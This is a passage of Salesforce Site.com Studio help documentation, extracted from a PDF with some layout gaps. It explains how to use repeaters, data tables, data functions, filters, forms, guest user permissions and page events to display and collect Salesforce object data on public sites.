3. Ensure the CSS reset is positioned at the top of the style sheet. To move it, drag it to the correct location in the pane on
the left.
To add your own CSS reset code:
1. In the Style Sheets view on the Overview tab, open the style sheet by double-clicking it, or hovering over it and clicking
> Edit.
2. Click Edit Style Sheet Code to open the CSS editor.
3. Paste the code at the top of the style sheet code.
4. Click Save & Close.
See Also:
Creating and Using CSS Style Sheets
Creating Style Sheet Items and Groups
Cascading Style Sheets Overview
Site.com data services combine many features that let you connect to standard and custom Salesforce objects. Retrieve data
from your organizations objects and dynamically display it on your site pages, or alternatively, gather and submit data from
your customers. And when you update data in your Salesforce object, the changes are reflected automatically on the live siteno
site updates required!
The following examples illustrate a few ways to use Site.com data services:
2328
Publish a catalog of productsList your company's products and include information, such as model numbers and prices,
pulled dynamically from your organization.
Post company press releasesPublish your companys press releases and sort by publication date.
Create a realtor websiteDisplay current listings filtered by city or price.
Create a recruiting websitePost job openings to a public site and allow visitors to submit applications and resumes.
Data tables connect to Salesforce objects, retrieve a data set based on the filter criteria that you specify, and display one or
more record as rows in the table.
Repeaters and repeater elements combine to let you connect to standard and custom objects, retrieve data, and dynamically
display it on your sites pages. Together, the repeater and repeater elements result in a "repeating template" that displays one
or more records on the page.
Data functions let you perform calculations on data retrieved from objects and display the result on the page. For example,
for a particular field in an object, you can use a data function to calculate the total value or the average amount of all returned
records.
Nested repeaters let you retrieve data from objects with a parent-to-child relationship.
Forms and form fields combine to let you collect data from your site visitors and submit the data to standard or custom
Salesforce objects. Create web-to-lead forms, capture customer details, or gather feedback on your products or services.
If you add a data-bound page element to your site and then subsequently change a field type in the Salesforce object its
connected tofor example, changing a text field to a picklistthe data-bound page element will no longer work. You
must reconfigure the data-bound page element to reference the updated field.
If you update data in an object thats connected to a data table, repeater, or data function, the changes are reflected
automatically on the live site. To control this, you can add a picklist field to the object to specify when a record is approved
to go live. Then you can use the field to filter the records by approved status, so only approved records appear on the live
site.
See Also:
Setting Data Access Permissions for Salesforce Objects
Storing Assets to Use with Salesforce Objects
Accessing Data in Related Objects Overview
Adding Pagination to Repeaters and Data Tables
The Default, Error, and No Data Views
2329
page
AND
Publisher or Designer role assigned at the site level
To edit the guest user profile:
page
AND
Publisher or Designer role assigned at the site level
And
Manage Users
AND
Customize Application
Sites built with Site.com are publicly available, so visitors access the site via the Guest User license thats associated with the
site.
By default, site visitors can access information made available in an active public site, such as the sites pages and assets.
However, to allow guest users to view or submit data to a standard or custom Salesforce object, you must modify the objects
permission in the sites guest user profile. Each site has a separate Guest User license, so you can control access Salesforce
object on a per-site basis.
To edit the sites guest user profile:
1. On the Overview tab of Site.com Studio, click Site Configuration and click Site Name Profile. Alternatively, if youre
adding a repeater, data table, data function, or form to the page, click go to the guest user profile in the items dialog box.
2. In the sites guest user profile, enable the Read permission on the standard or custom objects you want to retrieve data
from using repeaters, data tables, or data functions. Enable the Create permission on the objects you want to submit data
to using forms. All permissions that aren't set by default must be set manually. See User Profiles Overview on page 521.
3. If required, modify the field-level security of an object. See Setting Field Permissions in Permission Sets and Profiles on
page 664.
See Also:
Site.com Data Services Overview
Storing Assets to Use with Salesforce Objects
2330
page
AND
Publisher or Designer role assigned at the site level
Because websites built with Site.com are publicly available, site visitors dont have the security privileges required to view
images and documents stored in your Salesforce objects, which are available to authenticated users only.
Therefore, the easiest way to take advantage of Site.com data services is to import the files into Site.com, and instead store a
relative URL to these assets in your standard or custom object. Alternatively, if your images or files are hosted elsewhere and
readily available on the Internet, you can use an absolute URL.
For example, lets say you want to use a custom object called Catalog to build a Catalog site page that displays product details
and images. Before you begin building the Catalog site page, you would:
1. Import the product images into your Site.com site.
2. In the Catalog object, create a field to store the relative URL of the image, such as Image URL.
3. For each product record, add the relative path of the image. This URL is relative to the site, so if you upload widget.png
to your site, the relative path is /widget.png.
Then, when you add a data table or a repeater and repeater elements to the Catalog site page to display the product data, you
can reference the Image URL field to dynamically display each products image on the page.
See Also:
Site.com Data Services Overview
Setting Data Access Permissions for Salesforce Objects
Defining Custom Objects
2331
page
AND
Publisher or Designer role assigned at the site level
To edit the guest user profile:
page
AND
Publisher or Designer role assigned at the site level
And
Manage Users
AND
Customize Application
Use a repeater to connect to a standard or custom Salesforce object and retrieve a data set based on the filter criteria that you
specify. When you combine a repeater with repeater elements or custom code, you can create a repeating template that
displays one or more records on the page.
To add a repeater to a page:
1. Drag a Repeater from the Page Elements pane onto the page.
2. Select the object that you want to connect to.
Note: The drop-down list only displays objects that are available to guest users because site visitors access your
public site via the Guest User license. To make other objects available, go to the guest user profile, enable the
relevant object's Read permission, and refresh the list.
3. Optionally, in Filters, select criteria to filter your data set. If you dont select any criteria, all the data from the item is
returned.
a. Select the field to which the filter criteria apply. The Field drop-down list displays the objects fields, followed by the
fields of all parent objects, which use the format parent_object_name.field_name.
2332
b. Select the operator to control how results are filtered. For example, select Equals to return an exact match.
c. Select the source of the filter value. For example, to specify an explicit value, select Fixed value, or to use the values
passed to the page via a query string, select URL query string.
d. Set the value of the filter. If youre using a query string, you can also specify what should happen if the query string is
missing.
e. Add additional filter criteria as required to narrow your results further. Each filter item is combined with an AND
operator.
Note: If youre using a fixed value to filter the results, you can view the returned records in the Connection Preview
section. To refresh the list of records, click Reload Preview.
4. In Sorting, you can specify whether to sort the results by one or more fields in ascending or descending order. For example,
if youre working with an object that contains user data, you could sort your results by gender first and then by name.
5. In Limits, you can limit the number of returned results. For example, if youre only interested in the top five results, enter
5 in the Limit results to field.
6. If youre adding pagination, specify the number of results to display per page in the Results per page field.
7. Click Save.
Next, you must add either repeater elements or custom code to the repeater to display the data or content it retrieves.
See Also:
Displaying Data in Repeaters Using Repeater Elements
Displaying Data in Repeaters Using Custom Code
The Default, Error, and No Data Views
Displaying Data from Related Objects Using Nested Repeaters
Accessing Data in Related Objects Overview
Changing a Page Elements HTML Tag
Adding Pagination to Repeaters and Data Tables
Common Filtering Examples
Site.com Data Services Overview
2333
page
AND
Publisher or Designer role assigned at the site level
A repeater element, which must be contained in a repeater, binds to a field in the object that the repeaters connected to.
Combined, the repeater and repeater elements result in a "repeating template" that displays one or more records on the page.
Each repeater element acts as a placeholder that shows the content of a specified field for the current record.
You can use repeater elements to display plain text, formatted text (for dates and numbers), or images. You can also add links
to repeater elements to allow site visitors to navigate to another page, such as a detailed description, or to refresh the data
displayed in the repeater based on their selection. See Common Filtering Examples on page 2348.
Note: You cant add repeater elements to anything but a repeater.
To display plain text, select Text and choose the field that you want to display.
To display formatted text if youre working with dates, times, or currency, select Formatted Text, choose the field
that you want to display, and select a formatting option.
To display an image, select Image and choose the field that you want to reference. Alternatively, you can customize
the image source by entering an absolute URL for example. Then select a field to use for the alternative text or enter
custom text.
Note: The objects fields are listed first, followed by the fields of all parent objects, which use the format
parent_object_name.field_name.
Choosing a field that you want to reference, such as a field that stores the relative URLs of PDFs you uploaded to your
site for example.
Choosing a field that you want to reference and clicking Customize to create a custom link. For example, if an object
has an Email field, you can customize the link by entering mailto: before the {!email} placeholder, which opens
2334
a new message window in the users email client and adds the appropriate email address to the To: field when the link
is clicked.
5. For the link title, which displays as a pop-up when the user hovers over the link, select the required field or click Customize
to add a custom title.
6. Click Save.
See Also:
Dynamically Retrieving Data with Repeaters
Displaying Data in Repeaters Using Custom Code
The Default, Error, and No Data Views
Common Filtering Examples
Changing a Page Elements HTML Tag
Site.com Data Services Overview
page
AND
Publisher or Designer role assigned at the site level
In addition to repeater elements, you can also use custom code as an alternative way to display data or content in a repeater.
Its particularly useful for displaying text thats inline with the fields data.
To add custom code to a repeater:
1. Drag a Custom Code page element from the Page Elements pane onto the repeater.
2. To access the fields of the object the repeater is connected to, type {! and double-click the field that you want to display.
Note: The objects fields are listed first, followed by the fields of all parent objects, which use the format
parent_object_name.field_name.
3. Add any additional fields or text you require. For example:
To contact {!Name}, call {!Phone}.
where {!Name} and {!Phone} are placeholders for the values of the Name and Phone fields of each record.
2335
See Also:
Dynamically Retrieving Data with Repeaters
Displaying Data in Repeaters Using Repeater Elements
The Default, Error, and No Data Views
Common Filtering Examples
Changing a Page Elements HTML Tag
Adding Custom Code to Pages
Site.com Data Services Overview
page
AND
Publisher or Designer role assigned at the site level
To edit the guest user profile:
page
AND
Publisher or Designer role assigned at the site level
And
Manage Users
AND
Customize Application
Use a data table to connect to a standard or custom Salesforce object, retrieve a data set based on the filter criteria that you
specify, and display one or more record as rows in the table. A data tables columns bind to the fields of the object its connected
to. Each column cell acts as a placeholder that shows the content of a specified field for the current record.
To add a data table to the page:
1. Drag a Data Table from the Page Elements pane onto the page.
2. Select the object that you want to connect to.
2336
Note: The drop-down list only displays objects that are available to guest users because site visitors access your
public site via the Guest User license. To make other objects available, go to the guest user profile, enable the
relevant object's Read permission, and refresh the list.
3. Optionally, in Filters, select criteria to filter your data set. If you dont select any criteria, all the data from the item is
returned.
a. Select the field to which the filter criteria apply. The Field drop-down list displays the objects fields, followed by the
fields of all parent objects, which use the format parent_object_name.field_name.
b. Select the operator to control how results are filtered. For example, select Equals to return an exact match.
c. Select the source of the filter value. For example, to specify an explicit value, select Fixed value, or to use the values
passed to the page via a query string, select URL query string.
d. Set the value of the filter. If youre using a query string, you can also specify what should happen if the query string is
missing.
e. Add additional filter criteria as required to narrow your results further. Each filter item is combined with an AND
operator.
Note: If youre using a fixed value to filter the results, you can view the returned records in the Connection Preview
section. To refresh the list of records, click Reload Preview.
4. In Sorting, you can specify whether to sort the results by one or more fields in ascending or descending order. For example,
if youre working with an object that contains user data, you could sort your results by gender first and then by name.
5. In Limits, you can limit the number of returned results. For example, if youre only interested in the top five results, enter
5 in the Limit results to field.
6. If youre adding pagination, specify the number of results to display per page in the Results per page field.
7. Click Next.
8. Add available fields to the table by double-clicking a field, or selecting it and clicking
9. Reorder the list of selected fields by clicking Move Up or Move Down.
10. Click Save.
Note: You cant add page elements to a data table. However, you can add additional columns to a data table by selecting
it and clicking Edit. On the Select Fields screen, select the additional fields and save your changes.
Once youve added the data table to the page, you can use the Properties pane to:
2337
Change the name of a column by selecting the column cell and updating the name in the Column Heading property.
See Also:
Editing Columns in a Data Table
The Default, Error, and No Data Views
Adding Pagination to Repeaters and Data Tables
Common Filtering Examples
Displaying Data from Related Objects Using Nested Repeaters
Accessing Data in Related Objects Overview
Site.com Data Services Overview
page
AND
Publisher or Designer role assigned at the site level
A data tables columns bind to the fields of the object its connected to. Each column cell acts as a placeholder that shows the
content of a specified field for the current record.
You can display plain text, formatted text (for dates and numbers), or images in the column cells. You can also add links to
column cells to allow site visitors to navigate to another page, such as a detailed description, or to refresh the data displayed
in the data table based on their selection. See Common Filtering Examples on page 2348.
To edit a column:
1. Double-click the column cell in the data table.
2. Choose the field and display options.
To display plain text, select Text and choose the field that you want to display.
To display formatted text if youre working with dates, times, or currency, select Formatted Text, choose the field
that you want to display, and select a formatting option.
To display an image, select Image and choose the field that you want to reference. Alternatively, you can customize
the image source by entering an absolute URL for example. Then select a field to use for the alternative text or enter
custom text.
2338
Note: The objects fields are listed first, followed by the fields of all parent objects, which use the format
parent_object_name.field_name.
3. To create a hyperlink, select Make this a link.
4. In the HREF drop-down list, create the URL for the link by either:
Choosing a field that you want to reference, such as a field that stores the relative URLs of PDFs you uploaded to your
site for example.
Choosing a field that you want to reference and clicking Customize to create a custom link. For example, if an object
has an Email field, you can customize the link by entering mailto: before the {!email} placeholder, which opens
a new message window in the users email client and adds the appropriate email address to the To: field when the link
is clicked.
5. For the link title, which displays as a pop-up when the user hovers over the link, select the required field or click Customize
to add a custom title.
6. Click Save.
To change the name of a column, select the column cell and update the name in the Column Heading field of the Properties
pane.
See Also:
Dynamically Retrieving Data with Data Tables
Site.com Data Services Overview
page
AND
Publisher or Designer role assigned at the site level
Events let you add interactive and animated effects to the pages and page elements of your website. When using repeaters and
data tables, you can add pagination events so users can easily page through the displayed data. This is particularly useful when
working with large amounts of data.
For example, if youve added a repeater that displays all the users in an organization, you can add pagination to help users
navigate through the data. You can add three pagination events:
Previous Page
2339
Next Page
Go To Page
See Also:
Dynamically Retrieving Data with Repeaters
Dynamically Retrieving Data with Data Tables
Events Overview
Creating an Event
Available Events and Actions
2340
page
AND
Publisher or Designer role assigned at the site level
To edit the guest user profile:
page
AND
Publisher or Designer role assigned at the site level
And
Manage Users
AND
Customize Application
A data function lets you connect to a standard or custom Salesforce object, perform calculations on the returned results, and
display the calculation on the page. For example, for a particular field in an object, you can use a data function to calculate the
total value or the average amount of all returned records.
To add a data function to a page:
1. Drag a Data Function from the Page Elements pane onto the page.
2. Select the object that you want to connect to.
Note: The drop-down list only displays objects that are available to guest users because site visitors access your
public site via the Guest User license. To make other objects available, go to the guest user profile, enable the
relevant object's Read permission, and refresh the list.
3. Optionally, in Filters, select criteria to filter your data set. If you dont select any criteria, all the data from the item is
returned.
a. Select the field to which the filter criteria apply. The Field drop-down list displays the objects fields, followed by the
fields of all parent objects, which use the format parent_object_name.field_name.
b. Select the operator to control how results are filtered. For example, select Equals to return an exact match.
c. Select the source of the filter value. For example, to specify an explicit value, select Fixed value, or to use the values
passed to the page via a query string, select URL query string.
d. Set the value of the filter. If youre using a query string, you can also specify what should happen if the query string is
missing.
2341
e. Add additional filter criteria as required to narrow your results further. Each filter item is combined with an AND
operator.
Note: If youre using a fixed value to filter the results, you can view the returned records in the Connection Preview
section. To refresh the list of records, click Reload Preview.
4. In Functions, select a function:
Option
Description
Count
Counts the number of records that contain a value for the selected field. For example, if an object contains
30 records, but only 25 records have a value in the field you specify, the result is 25.
Maximum
Returns the highest value of all the values for the selected field. Applies to numbers, strings, and dates.
Average
Calculates the average value of all records for the selected field. For example, if you have 20 records with
a total value of $20,000 in the Price field, the average is $1,000. Only applicable to fields that contain
numbers.
Minimum
Returns the lowest value of all the values for the selected field. Applies to numbers, strings, and dates.
Sum
Calculates the total value of all records for the selected field.
See Also:
The Default, Error, and No Data Views
Dynamically Retrieving Data with Repeaters
Dynamically Retrieving Data with Data Tables
Common Filtering Examples
Displaying Data from Related Objects Using Nested Repeaters
Accessing Data in Related Objects Overview
Site.com Data Services Overview
Standard and custom objects have relationships that define how records in one object relate to records in another. For example,
the Accounts object has a one-to-many relationship with the Contacts objectthat is, each account can have one or more
contacts associated with it. This relationship is also known as a parent-to-child or a master-detail relationship.
See Overview of Relationships for more information about relationships between objects in Salesforce.
Repeaters, data tables, and data functions take advantage of these relationships to let you display data from related objects on
the page.
2342
You can achieve this by creating a repeater (1) thats connected to Accounts, and adding a repeater element (2) to it that binds
to the Account Name field. Then add a nested repeater (3) thats connected to Contacts, which is a child of Accounts. Finally,
add a repeater element (4) to the nested repeater that binds to the Contact objects Full Name field.
2343
See Also:
Displaying Data from Related Objects Using Nested Repeaters
Dynamically Retrieving Data with Repeaters
Dynamically Retrieving Data with Data Tables
Using Data Functions
Site.com Data Services Overview
2344
page
AND
Publisher or Designer role assigned at the site level
To edit the guest user profile:
page
AND
Publisher or Designer role assigned at the site level
And
Manage Users
AND
Customize Application
You can retrieve data from any child object of a parent object using a repeater that contains another repeater, data table, or
data function. The outer or parent repeater connects to an object, such as Accounts. In turn, the inner repeater, data table, or
data function automatically lets you connect to any child objects, such as Contacts. This is also known as a nested repeater.
For example, if a repeater is connected to Accounts, you can add a nested data function to it thats connected to Contacts to
return the number of contacts associated with each account.
To create a nested repeater:
1. Add a repeater to the page.
2. Drag another Repeater, Data Table, or Data Function from the Page Elements pane onto the repeater.
3. Select the related Salesforce object that you want to connect to.
Note: You can also retrieve data from unrelated objects. However, as this can adversely affect the performance of
your site, we recommend retrieving data from related objects only.
4. Optionally, in Filters, select criteria to filter your data set. If you dont select any criteria, all the data from the item is
returned.
a. Select the field to which the filter criteria apply. The Field drop-down list displays the objects fields, followed by the
fields of all parent objects, which use the format parent_object_name.field_name.
2345
Data Filters
b. Select the operator to control how results are filtered. For example, select Equals to return an exact match.
c. Select the source of the filter value. For example, to specify an explicit value, select Fixed value, or to use the values
passed to the page via a query string, select URL query string.
d. Set the value of the filter. If youre using a query string, you can also specify what should happen if the query string is
missing.
e. Add additional filter criteria as required to narrow your results further. Each filter item is combined with an AND
operator.
Note: If youre using a fixed value to filter the results, you can view the returned records in the Connection Preview
section. To refresh the list of records, click Reload Preview.
5. In Sorting, you can specify whether to sort the results by one or more fields in ascending or descending order. For example,
if youre working with an object that contains user data, you could sort your results by gender first and then by name.
6. In Limits, you can limit the number of returned results. For example, if youre only interested in the top five results, enter
5 in the Limit results to field.
7. If youre adding pagination, specify the number of results to display per page in the Results per page field.
8. If youre working with a data table, click Next and add fields to the table by double-clicking a field, or selecting it and
clicking
.
9. Click Save.
You can either add repeater elements or custom code to the parent repeater to display its fields. Similarly, if youve nested a
repeater inside the parent repeater, add repeater elements or custom code to the nested repeater to display the child objects
fields.
Note: You cant nest repeaters more than one level deep.
See Also:
Accessing Data in Related Objects Overview
Dynamically Retrieving Data with Repeaters
Dynamically Retrieving Data with Data Tables
Using Data Functions
Site.com Data Services Overview
Data Filters
Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition
When you add a repeater, a data table, or a data function to the page, you dont have to limit the records it retrieves. However,
if youre working with a Salesforce object that contain thousands of records, youll probably want to limit the results using
filter criteria.
2346
Data Filters
Filter Operators
Operator
Description
Equals
Not equal to
Less than
Returns records that are less than the value you specify.
Greater than
Returns records that match or are less than the value you specify.
Starts with
Use when you know what your value starts with, but not the exact text. For example,
california, would return California Travel, but not Surf California.
Ends with
Use when you know what your value ends with, but not the exact text.
Contains
Returns records that include your search string but might also include other information.
For example, california would return California Travel and Surf California.
Includes
Use for a multi-select picklist field type to find records that include one or more of the
values you set.
Excludes
Use for a multi-select picklist field type to find records that do not contain any values
that match the ones entered.
Description
Fixed value
Use when you want to pass variable content via a URL to the item when the page loads.
Global property
Use when you want to use a fixed value from the site, such as the current date or current
time.
Request header
Use when you want to use a value from the browser, such as the host header or browser
version.
2347
Source
Description
Parent repeater
Use when you want to create a query between unrelated objects. Available only when a
repeater, data table, or data function is nested inside a parent repeater, but the parent
repeaters object is unrelated to the nested items object.
Caution: Retrieving data from unrelated objects can adversely affect the
performance of your site. We recommend retrieving data from related objects
only.
See Also:
Dynamically Retrieving Data with Repeaters
Dynamically Retrieving Data with Data Tables
Using Data Functions
Site.com Data Services Overview
When working with repeaters and data tables, you can filter the data your retrieve in many ways. In this topic, we explore two
optionsfixed values and URL query stringsto illustrate some common filtering techniques.
Example 1: Using a Fixed Value to Filter Results
In our first example, we have a custom object called Realtors that stores realtors details, including the city where theyre
based. We only want to display realtors from Vancouver on the Vancouver Realtors page. In this case, we can use a fixed value
to filter the data in the Relators object.
In this scenario you would:
1. Add a repeater to the page and configure it as follows:
a.
b.
c.
d.
This tells the repeater to return only records where the City field contains the value Vancouver.
2. Add repeater elements to the repeater to display fields on the page.
2348
Example 2: Using a URL Query String to Dynamically Filter and Display Results on Another Page
In our second example, we have a custom object called Products that stores product information. However, some products
are only available in certain locations, so wed like to let customers view the products in their nearest city. In this case, we could
create a Locations site page that contains three links:
We want all three links to open the Products site page, but only display products based on the users selection. We can do this
using URL query strings, which allow us to pass variable content between HTML pages. The variable information in this
case is the product location; the repeater wont know which products to return until the user makes a selection.
For this scenario, you would:
1. Add a repeater to the Products page and configure it as follows:
a.
b.
c.
d.
2. Add a repeater element to the repeater to represent the City field and configure it as follows:
a. Select Text and click Make this a link to display a URL on the page.
2349
b. For the link text, we want to use the name of the city, so select the City field as the field to display.
c. In the HREF drop-down list, select the City field and click Customize.
d. Change the value to /?location={!City}, where {!City} is a placeholder for the value of a records City field.
When the page first loads, {!City} is replaced with the correct value, such as San Francisco, which creates the following
URL for that record:
/?city=San Francisco
e. For the title, which displays as a pop-up when the user hovers over the link, select the City field and click Customize.
f. Change the value to:
Show me products available in {!City}.
Again, the {!City} placeholder is replaced by the value of the City field for each record when the page loads.
3. Add any additional repeater elements you require.
Now, when the first page loads, the repeater displays the location of each product as a link. When a customer clicks a cityfor
example, San Franciscothe page reloads and passes city=San Francisco to the repeater. The repeater uses this value
to dynamically return only records where the City field contains the value San Francisco.
See Also:
Dynamically Retrieving Data with Repeaters
Displaying Data in Repeaters Using Repeater Elements
Dynamically Retrieving Data with Data Tables
Using Data Functions
Accessing Data in Related Objects Overview
Site.com Data Services Overview
2350
page
AND
Publisher or Designer role assigned in Site.com Studio
To edit the guest user profile:
page
AND
Publisher or Designer role assigned in Site.com Studio
AND
Manage Users
AND
Customize Application
Use forms to collect data from your site visitors and submit the data to standard or custom Salesforce objects. Create web-to-lead
forms, capture customer details, or gather feedback on your products or services.
To add a form to a page:
1. Drag a Form from the Page Elements pane onto the page.
2. Select the Salesforce object that you want to submit data to.
Note: Because site visitors access your public site via the Guest User license, the drop-down list only displays
objects that are available to guest users. To make objects available, go to the guest user profile, enable the relevant
objects Create permission, and refresh the list.
3. Add available fields to the form by double-clicking a field, or selecting it and clicking
automatically added to the list of selected fields. However, you can hide required fields.
4. Reorder the list of selected fields by clicking Move Up or Move Down.
5. Click Save.
2351
See Also:
Adding Input Fields to Forms or Pages
Editing Fields in a Form
Setting a Forms Submit Behavior
The Default, Error, and No Data Views
Site.com Data Services Overview
page
AND
Publisher or Designer role assigned at the site level
2352
Note:
See Also:
Editing Fields in a Form
Adding a Form to the Page
Site.com Data Services Overview
page
AND
Publisher or Designer role assigned at the site level
After youve added a form to the page, you can edit and reorder its fields.
To reorder fields, drag them to the correct position on the page or in the Page Structure pane. Alternatively, select a field and
click
> Move Up or
> Move Down.
To hide a field, such as required field that you dont want your site visitors to see, select Hidden Field in the Properties
pane. When you hide a field, you can access it from the Page Structure pane.
To make a field a required field, which means the user must complete the field before submitting the form, select Required
Field in the Properties pane. A red asterisk (*) is displayed beside the field to indicate that its required. You cant change
the Required Field setting for any fields that are required by default by the object the form is connected to.
2353
To rename a field, replace the name in the Label Name field in the Properties pane.
To change the appearance of a field on the page, select a different theme in the Properties pane. If the field is in a form, you
can only change the forms theme.
To set the values of a picklist field that you added to a page, enter the values separated by a semicolon (;) in the Picklist
Values field.
Note:
You cant move fields from a form onto the page. However, you can delete non-required fields, or hide both required
and non-required fields.
You cant drag fields from the page onto a form. See Adding Input Fields to Forms or Pages on page 2352.
See Also:
Setting the Default Value of Fields
Adding a Form to the Page
Adding Input Fields to Forms or Pages
Setting a Forms Submit Behavior
Site.com Data Services Overview
page
AND
Publisher or Designer role assigned at the site level
You can set the default value of a field that you add to a form or to the page. This automatically populates the field with the
value you specify when the page loads.
When used with a fields Hidden Field property, which hides the field on the form or page, the default value is a useful
tool for submitting data that you dont want your users to see. For example, you could add a hidden field that uses the Global
Property option to track when a form is submitted.
To set the default value of a field:
1. Select the field.
2. Click Configure in the Properties pane.
3. Select the source of the default value.
2354
Option
Description
Fixed Value
Use when you want to specify the value. For example, for a text field, you could add default text.
Alternatively, if the field is a picklist, you can select a default value from the list.
Use when you want to pass variable content via a URL to the item when the page loads. For example,
if youre working with a picklist field, you could pass variable information, such as location, to filter
the list and display only items from that location. See Common Filtering Examples for similar scenarios
using repeaters.
Global Property
Use when you want to use a fixed value from the site, such as the current date or current time.
Request Header
Use when you want to use a value from the browser, such as the host header or browser version.
See Also:
Adding Input Fields to Forms or Pages
Editing Fields in a Form
Adding a Form to the Page
page
AND
Publisher or Designer role assigned at the site level
When your site visitors submit a form successfully, you can either redirect them to another page or display a message indicating
that they were successful.
When the page is open:
1. Select the form in the Page Structure pane.
2. In the Properties pane, select an option in the When Successful drop-down list.
Option
Description
Display a message
2355
The page to redirect to in the Page URL field. You can enter a relative URL, such as a site page, or an absolute URL.
For relative URLs, ensure you include a forward slash (/).
The message text in the Message Text field.
Tip: The forms Submit button uses the submit action in the Events pane.
See Also:
Adding a Form to the Page
Adding Input Fields to Forms or Pages
Editing Fields in a Form
Site.com Data Services Overview
When working with repeaters, data tables, data functions, and forms, you can customize what your site visitors see if an error
occurs when connecting to the data source. Additionally, for data tables, repeaters, data functions, you can customize whats
displayed when no data exists for the current query. So for example, if you set up a repeater to dynamically filter and display
results based on the users selection, but there are no results for that selection, you can display an appropriate message to explain
what happened.
The Default View (1) is what usually appears on the page. For example, when you add a form to the page, the Default
View contains the forms fields.
2356
Events Overview
The Error View (2) is displayed if an error occurs when connecting to the data source. It contains a content block with a
default message that you can customize. You can also add other page elements to the view.
The No Data View (3) is displayed when no data exists for the current query. It contains a content block with a default
message that you can customize. You can also add other page elements to the view.
See Also:
Dynamically Retrieving Data with Repeaters
Dynamically Retrieving Data with Data Tables
Using Data Functions
Accessing Data in Related Objects Overview
Site.com Data Services Overview
Events enable you to add interactive and animated effects to the pages and page elements of your website.
When an event occurssay, when a user clicks an element on the page or when the page loadsyou can specify what action
(or series of actions) it should trigger. For example, when your home page loads, you could display a news bulletin popup that
fades away after several seconds. Or when the user clicks a panel, you could expand the panel to reveal additional information
or alter its style.
The Events pane lists many common actions that you can trigger when an event occurs. Using the options here, you can specify
that:
When [this event] occurs, trigger [this action].
See Also:
Creating an Event
Available Events and Actions
Using Site.com Studio as a Publisher or Designer
Adding Pagination to Repeaters and Data Tables
2357
Creating an Event
Creating an Event
Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition
page
AND
Publisher or Designer role assigned at the site level
Use events to add interactive and animated effects to the pages and page elements of your website.
1. Select the relevant page or page element.
2. Select an event in the Events pane.
3. Click
and select an action in the Choose an Action list that appears. See Available Events and Actions on page 2359.
4. Set the other available properties for the action, such as:
5. Click Save.
6. Add more actions if required.
Tip:
When you add an event to a page or page element, an asterisk (*) appears beside the event in the Events pane.
If you hover over
on a selected page element, a tooltip appears indicating which events are associated with the
element. You can also click the icon to quickly open the Events tab.
2358
or
See Also:
Events Overview
Using Site.com Studio as a Publisher or Designer
Adding Pagination to Repeaters and Data Tables
Choose from several event triggers and actions when you create an event.
Occurs When...
Double click
Click
Focus
Load
Blur
Mouse in
The user moves the mouse pointer over the page element.
Mouse out
The user moves the mouse pointer out of the page element.
Description
Dynamically adds a CSS class to style the targeted item. For example, to alter the appearance of
a page element, you could add a new CSS class to it.
Alert
Animate
Animates CSS properties, such as Top, Left, Width, and Height, which you specify by entering
appropriate values in the CSS field.
For example, if targeting an image, you can enter values such as opacity: "0.4", width:
"70%", which changes the image's appearance according to the speed and effect you set.
Delay
Adds a delay (measured in milliseconds) before the action that follows. (Ensure you select the
Chained checkbox to tie it to the subsequent action.)
2359
Action
Description
Execute JavaScript
Runs custom JavaScript code, which you enter by clicking Edit Script to open the Custom Code
Editor.
Go To Page
Goes to the designated page number in repeaters and data tables. See Adding Pagination to
Repeaters and Data Tables on page 2339.
Hide Element
Hides the targeted item according to the speed and effect you set.
Next Page
Goes to the next page in repeaters and data tables. See Adding Pagination to Repeaters and Data
Tables on page 2339.
Previous Page
Goes to the previous page in repeaters and data tables. See Adding Pagination to Repeaters and
Data Tables on page 2339.
Removes a CSS class from the targeted item to dynamically remove its style. For example, to alter
the appearance of a page element, you could remove the CSS class associated with it and replace
it with another.
Repeat
Repeats the action that follows by the specified number of times, with the specified delay between
each occurrence. (Ensure you select the Chained checkbox in the Properties pane to tie it to the
following action.)
Dynamically sets the specified attribute value of the targeted item. For example, if targeting an
image, you could change the image source by entering src in the Attribute Name field and
entering the image URL in the Attribute Value field. You can also add custom name/value
pairs for advanced coding purposes.
Show Element
Reveals the targeted item according to the speed and effect you set.
Submit
Toggle Element
Switches the visibility of the targeted element according to the speed and effect you set.
See Also:
Events Overview
Using Site.com Studio as a Publisher or Designer
Adding Pagination to Repeaters and Data Tables
2360
detail page
AND
Contributor role assigned at the site level
If your publisher has enabled page creation, you can add pages to your site.
To add a new page:
1.
2.
3.
4.
In the Site Pages view on the Overview tab, click New Site Page.
Enter the page name.
Select a template for the page.
Click Create. The site page opens.
See Also:
Editing Content Blocks
Editing Site.com Pages as a Contributor
Using Site.com Studio as a Contributor
2361
detail page
AND
Contributor role assigned at the site level
Open a page in the Site Pages view on the Overview tab by double-clicking it or hovering over it and clicking
The page opens as a new tab.
> Edit.
Edit the page text, and add images and hyperlinks by clicking Edit Content. The button isn't available if there are no
editable areas on the page.
Import assets, such as images and files.
Preview the page in a browser window.
See Also:
Creating Site Pages as a Site.com Contributor
Adding Images to Content Blocks
Adding Hyperlinks to Text and Images
Adding an Anchor to a Page
The Content Editing Toolbar
Using Site.com Studio as a Contributor
2362
page
AND
Publisher or Designer role assigned at the site level
To edit only content in Site.com sites:
AND
Contributor role assigned at the site level
Contributors, designers, and publishers can edit content blocks, which contain the text for site pages, and can also house
images, videos, and hyperlinks. However, if you're a contributor and the Edit Content button is disabled, there are no editable
areas on the page.
When the page is open:
1. Click Edit Content.
2. Add or edit the text in the highlighted areas and format it using the content editing toolbar.
Tip:
If you copy and paste text from Microsoft Office, highlight the text and click
to remove any hidden
formatting, which can adversely affect how the text appears on the page.
Avoid applying formatting, such as font family or size, directly to text whenever possible. Instead, its best
practice to use the paragraph and heading styles to quickly apply consistent formatting throughout the site.
This also ensures that all page text updates automatically if a publisher or designer modifies the site's paragraph
and heading styles.
2363
changes made to the component on the parent template won't trickle down to your derived page or template. Note
that this linking behavior only works one level down from the parent template.
See Also:
Using Site.com Studio as a Contributor
Previewing Site.com Sites
Contributors, designers, and publishers can edit content blocks, which contain the site page's text, along with images, videos,
and hyperlinks.
Undo and redo your edits, and remove the formatting of text copied and pasted from Microsoft Office, which can often
include hidden formatting (1).
Cut, copy, and paste text (2).
Apply direct formatting (3), such as:
Font family and size
Bold, italic, underline, subscript, superscript, and strikethrough
Font and highlight color
2364
Tip: Avoid applying formatting, such as font family or size, directly to text whenever possible. Instead, its best practice
to use the paragraph and heading styles to quickly apply consistent formatting throughout the site. This also ensures
that all page text updates automatically if a publisher or designer modifies the site's paragraph and heading styles.
page
AND
